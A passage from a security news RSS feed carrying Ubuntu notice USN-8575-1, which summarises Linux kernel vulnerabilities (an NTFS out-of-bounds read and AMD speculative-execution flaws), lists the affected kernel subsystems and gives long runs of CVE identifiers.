CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:01 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
